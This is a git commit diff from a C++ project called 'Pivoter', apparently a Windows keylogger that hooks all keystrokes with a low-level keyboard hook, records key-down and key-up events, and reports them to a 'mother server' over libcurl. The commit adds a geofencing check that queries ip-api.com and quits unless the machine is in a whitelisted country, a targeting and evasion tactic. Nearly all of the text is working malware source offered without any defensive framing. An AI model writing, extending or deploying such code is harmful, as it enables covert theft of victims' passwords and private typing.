Pivoter: Add a basic country whitelist system
This commit is contained in:
parent
b5ad61741d
commit
790582646f
40
Pivoter.cpp
40
Pivoter.cpp
|
@ -12,9 +12,10 @@
|
||||||
#include <thread>
|
#include <thread>
|
||||||
#include "codes.h"
|
#include "codes.h"
|
||||||
#include "connections_pivoter.h"
|
#include "connections_pivoter.h"
|
||||||
|
#include "security_checker.h"
|
||||||
|
|
||||||
#define DEBUG TRUE
|
#define DEBUG TRUE
|
||||||
#define KEYS_LIMIT 100
|
#define KEYS_LIMIT 200
|
||||||
HHOOK keyboard_events_hook;
|
HHOOK keyboard_events_hook;
|
||||||
std::vector<std::string> virt_codes;
|
std::vector<std::string> virt_codes;
|
||||||
ConnectionsPivoter mother_server_pv = ConnectionsPivoter();
|
ConnectionsPivoter mother_server_pv = ConnectionsPivoter();
|
||||||
|
@ -31,11 +32,26 @@ void stack_codes() {
|
||||||
}
|
}
|
||||||
|
|
||||||
LRESULT CALLBACK keyboard_callback(int nCode, WPARAM wParam, LPARAM lParam) {
|
LRESULT CALLBACK keyboard_callback(int nCode, WPARAM wParam, LPARAM lParam) {
|
||||||
if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
|
switch (wParam) {
|
||||||
|
case WM_KEYDOWN:
|
||||||
|
case WM_SYSKEYDOWN:
|
||||||
|
case WM_KEYUP:
|
||||||
|
case WM_SYSKEYUP:
|
||||||
KBDLLHOOKSTRUCT* kbd_struct = (KBDLLHOOKSTRUCT*)lParam;
|
KBDLLHOOKSTRUCT* kbd_struct = (KBDLLHOOKSTRUCT*)lParam;
|
||||||
DWORD virt_code = kbd_struct->vkCode;
|
DWORD virt_code = kbd_struct->vkCode;
|
||||||
|
|
||||||
std::string string_key_code = VIRTUAL_KEY_CODE_TABLE[virt_code].name;
|
std::string prefix;
|
||||||
|
switch (wParam) {
|
||||||
|
case WM_KEYDOWN:
|
||||||
|
case WM_SYSKEYDOWN:
|
||||||
|
prefix = "DOWN_";
|
||||||
|
break;
|
||||||
|
case WM_KEYUP:
|
||||||
|
case WM_SYSKEYUP:
|
||||||
|
prefix = "UP_";
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
std::string string_key_code = prefix + VIRTUAL_KEY_CODE_TABLE[virt_code].name;
|
||||||
if (DEBUG) {
|
if (DEBUG) {
|
||||||
std::cout << "Key pressed: " << string_key_code << std::endl;
|
std::cout << "Key pressed: " << string_key_code << std::endl;
|
||||||
std::cout << "Len of the vector: " << virt_codes.size() << std::endl;
|
std::cout << "Len of the vector: " << virt_codes.size() << std::endl;
|
||||||
|
@ -43,13 +59,26 @@ LRESULT CALLBACK keyboard_callback(int nCode, WPARAM wParam, LPARAM lParam) {
|
||||||
|
|
||||||
virt_codes.push_back(string_key_code);
|
virt_codes.push_back(string_key_code);
|
||||||
stack_codes();
|
stack_codes();
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
return CallNextHookEx(keyboard_events_hook, nCode, wParam, lParam);
|
return CallNextHookEx(keyboard_events_hook, nCode, wParam, lParam);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
|
||||||
|
ARGUMENTS:
|
||||||
|
- 1: initial mother server ip
|
||||||
|
- 2: whitelisted country
|
||||||
|
*/
|
||||||
int main(int argc, char** argv) {
|
int main(int argc, char** argv) {
|
||||||
|
|
||||||
if (argc != 2) {
|
std::cout << "lmao" << std::endl;
|
||||||
|
|
||||||
|
// security Checks
|
||||||
|
if (!check_country(argv[2]))
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
if (argc != 3) {
|
||||||
std::cout << "Error: wrong use of arguments!" << std::endl;
|
std::cout << "Error: wrong use of arguments!" << std::endl;
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
|
@ -58,7 +87,8 @@ int main(int argc, char **argv) {
|
||||||
for (int i = 0; i < argc; i++)
|
for (int i = 0; i < argc; i++)
|
||||||
std::cout << "Argument " << i << " value: " << argv[i] << std::endl;
|
std::cout << "Argument " << i << " value: " << argv[i] << std::endl;
|
||||||
|
|
||||||
mother_server_pv.set_url(argv[1]);
|
mother_server_pv.url = argv[1];
|
||||||
|
mother_server_pv.allowed_country = argv[2];
|
||||||
|
|
||||||
keyboard_events_hook = SetWindowsHookExA(WH_KEYBOARD_LL, keyboard_callback, 0, 0);
|
keyboard_events_hook = SetWindowsHookExA(WH_KEYBOARD_LL, keyboard_callback, 0, 0);
|
||||||
|
|
||||||
|
|
52
codes.h
52
codes.h
|
@ -356,32 +356,32 @@ VIRTUAL_KEY_CODE VIRTUAL_KEY_CODE_TABLE[256] = {
|
||||||
{ 0, "" },
|
{ 0, "" },
|
||||||
{ 0, "" },
|
{ 0, "" },
|
||||||
{ 0, "" },
|
{ 0, "" },
|
||||||
{ VK_KEY_A, "VK_KEY_A" },
|
{ VK_KEY_A, "A" },
|
||||||
{ VK_KEY_B, "VK_KEY_B" },
|
{ VK_KEY_B, "B" },
|
||||||
{ VK_KEY_C, "VK_KEY_C" },
|
{ VK_KEY_C, "C" },
|
||||||
{ VK_KEY_D, "VK_KEY_D" },
|
{ VK_KEY_D, "D" },
|
||||||
{ VK_KEY_E, "VK_KEY_E" },
|
{ VK_KEY_E, "E" },
|
||||||
{ VK_KEY_F, "VK_KEY_F" },
|
{ VK_KEY_F, "F" },
|
||||||
{ VK_KEY_G, "VK_KEY_G" },
|
{ VK_KEY_G, "G" },
|
||||||
{ VK_KEY_H, "VK_KEY_H" },
|
{ VK_KEY_H, "H" },
|
||||||
{ VK_KEY_I, "VK_KEY_I" },
|
{ VK_KEY_I, "I" },
|
||||||
{ VK_KEY_J, "VK_KEY_J" },
|
{ VK_KEY_J, "J" },
|
||||||
{ VK_KEY_K, "VK_KEY_K" },
|
{ VK_KEY_K, "K" },
|
||||||
{ VK_KEY_L, "VK_KEY_L" },
|
{ VK_KEY_L, "L" },
|
||||||
{ VK_KEY_M, "VK_KEY_M" },
|
{ VK_KEY_M, "M" },
|
||||||
{ VK_KEY_N, "VK_KEY_N" },
|
{ VK_KEY_N, "N" },
|
||||||
{ VK_KEY_O, "VK_KEY_O" },
|
{ VK_KEY_O, "O" },
|
||||||
{ VK_KEY_P, "VK_KEY_P" },
|
{ VK_KEY_P, "P" },
|
||||||
{ VK_KEY_Q, "VK_KEY_Q" },
|
{ VK_KEY_Q, "Q" },
|
||||||
{ VK_KEY_R, "VK_KEY_R" },
|
{ VK_KEY_R, "R" },
|
||||||
{ VK_KEY_S, "VK_KEY_S" },
|
{ VK_KEY_S, "S" },
|
||||||
{ VK_KEY_T, "VK_KEY_T" },
|
{ VK_KEY_T, "T" },
|
||||||
{ VK_KEY_U, "VK_KEY_U" },
|
{ VK_KEY_U, "U" },
|
||||||
{ VK_KEY_V, "VK_KEY_V" },
|
{ VK_KEY_V, "V" },
|
||||||
{ VK_KEY_W, "VK_KEY_W" },
|
{ VK_KEY_W, "W" },
|
||||||
{ VK_KEY_X, "VK_KEY_X" },
|
{ VK_KEY_X, "X" },
|
||||||
{ VK_KEY_Y, "VK_KEY_Y" },
|
{ VK_KEY_Y, "Y" },
|
||||||
{ VK_KEY_Z, "VK_KEY_Z" },
|
{ VK_KEY_Z, "Z" },
|
||||||
{ VK_LWIN, "VK_LWIN" },
|
{ VK_LWIN, "VK_LWIN" },
|
||||||
{ VK_RWIN, "VK_RWIN" },
|
{ VK_RWIN, "VK_RWIN" },
|
||||||
{ VK_APPS, "VK_APPS" },
|
{ VK_APPS, "VK_APPS" },
|
||||||
|
|
|
@ -1,7 +1,5 @@
|
||||||
#define CURL_STATICLIB
|
#define CURL_STATICLIB
|
||||||
|
|
||||||
#include "connections_pivoter.h"
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <iostream>
|
#include <iostream>
|
||||||
#include <string>
|
#include <string>
|
||||||
#include <vector>
|
#include <vector>
|
||||||
|
@ -11,6 +9,7 @@
|
||||||
#include <Windows.h>
|
#include <Windows.h>
|
||||||
#include <bcrypt.h>
|
#include <bcrypt.h>
|
||||||
#include <curl/curl.h>
|
#include <curl/curl.h>
|
||||||
|
#include "connections_pivoter.h"
|
||||||
#include "base64.h"
|
#include "base64.h"
|
||||||
|
|
||||||
#pragma comment (lib, "Normaliz.lib")
|
#pragma comment (lib, "Normaliz.lib")
|
||||||
|
@ -20,7 +19,6 @@
|
||||||
#pragma comment (lib, "advapi32.lib")
|
#pragma comment (lib, "advapi32.lib")
|
||||||
#pragma comment (lib, "User32.lib")
|
#pragma comment (lib, "User32.lib")
|
||||||
|
|
||||||
// temp function
|
|
||||||
std::string join(std::vector<std::string> v) {
|
std::string join(std::vector<std::string> v) {
|
||||||
std::stringstream ss;
|
std::stringstream ss;
|
||||||
std::copy(v.begin(), v.end(),
|
std::copy(v.begin(), v.end(),
|
||||||
|
@ -46,12 +44,6 @@ BOOL ConnectionsPivoter::send_alive_signal() {
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
/*static const BYTE plaintext[] = {
|
|
||||||
0x6d, 0x69, 0x63, 0x72, 0x6f, 0x73, 0x6f, 0x66,
|
|
||||||
0x74, 0x20, 0x64, 0x6f, 0x63, 0x73, 0x20, 0x61,
|
|
||||||
0x72, 0x65, 0x20, 0x73, 0x68, 0x69, 0x74, 0x20
|
|
||||||
};*/
|
|
||||||
|
|
||||||
static const BYTE iv[] = {
|
static const BYTE iv[] = {
|
||||||
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
|
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
|
||||||
0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F
|
0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F
|
||||||
|
|
|
@ -19,17 +19,12 @@
|
||||||
class ConnectionsPivoter {
|
class ConnectionsPivoter {
|
||||||
public:
|
public:
|
||||||
std::string url;
|
std::string url;
|
||||||
|
std::string allowed_country;
|
||||||
CURL* curl;
|
CURL* curl;
|
||||||
|
|
||||||
ConnectionsPivoter(std::string url);
|
ConnectionsPivoter(std::string url);
|
||||||
ConnectionsPivoter();
|
ConnectionsPivoter();
|
||||||
|
|
||||||
/// <summary>Update the url value</summary>
|
|
||||||
/// <param name='new_url:'>New url value</param>
|
|
||||||
void set_url(std::string new_url) {
|
|
||||||
this->url = new_url;
|
|
||||||
};
|
|
||||||
|
|
||||||
/// <summary>Send an alive signal to the mother server</summary>
|
/// <summary>Send an alive signal to the mother server</summary>
|
||||||
/// <returns>TRUE if successful</returns>
|
/// <returns>TRUE if successful</returns>
|
||||||
BOOL send_alive_signal();
|
BOOL send_alive_signal();
|
||||||
|
|
24596
json/json.hpp
Normal file
24596
json/json.hpp
Normal file
File diff suppressed because it is too large
Load Diff
56
security_checker.cpp
Normal file
56
security_checker.cpp
Normal file
|
@ -0,0 +1,56 @@
|
||||||
|
#define CURL_STATICLIB
|
||||||
|
|
||||||
|
#include <iostream>
|
||||||
|
#include <string>
|
||||||
|
#include <curl/curl.h>
|
||||||
|
#include "security_checker.h"
|
||||||
|
#include "json/json.hpp"
|
||||||
|
|
||||||
|
#pragma comment(lib, "Normaliz.lib")
|
||||||
|
#pragma comment(lib, "Ws2_32.lib")
|
||||||
|
#pragma comment(lib, "Wldap32.lib")
|
||||||
|
#pragma comment(lib, "Crypt32.lib")
|
||||||
|
#pragma comment(lib, "advapi32.lib")
|
||||||
|
#pragma comment(lib, "User32.lib")
|
||||||
|
|
||||||
|
using json = nlohmann::json;
|
||||||
|
|
||||||
|
// GLOBAL CONFIG
|
||||||
|
CURL* curl;
|
||||||
|
CURLcode res;
|
||||||
|
|
||||||
|
size_t write_function(void* delivered_data, size_t size, size_t nmemb, std::string* user_data) {
|
||||||
|
user_data->append((char*)delivered_data, size * nmemb);
|
||||||
|
return size * nmemb;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool check_country(std::string country) {
|
||||||
|
CURL* curl;
|
||||||
|
CURLcode res;
|
||||||
|
|
||||||
|
curl_global_init(CURL_GLOBAL_ALL);
|
||||||
|
|
||||||
|
curl = curl_easy_init();
|
||||||
|
if (!curl)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
std::string string_response;
|
||||||
|
|
||||||
|
curl_easy_setopt(curl, CURLOPT_URL, "http://ip-api.com/json/");
|
||||||
|
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &string_response);
|
||||||
|
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_function);
|
||||||
|
res = curl_easy_perform(curl);
|
||||||
|
|
||||||
|
if (res != CURLE_OK)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
json json_response = json::parse(string_response);
|
||||||
|
std::string response_country = json_response["country"];
|
||||||
|
|
||||||
|
if (response_country != country)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
curl_easy_cleanup(curl);
|
||||||
|
curl_global_cleanup();
|
||||||
|
return true;
|
||||||
|
}
|
9
security_checker.h
Normal file
9
security_checker.h
Normal file
|
@ -0,0 +1,9 @@
|
||||||
|
#ifndef SECURITY_CHECKER_H
|
||||||
|
#define SECURITY_CHECKER_H
|
||||||
|
|
||||||
|
#include <iostream>
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
bool check_country(std::string country);
|
||||||
|
|
||||||
|
#endif SECURITY_CHECKER_H
|
Loading…
Reference in New Issue
Block a user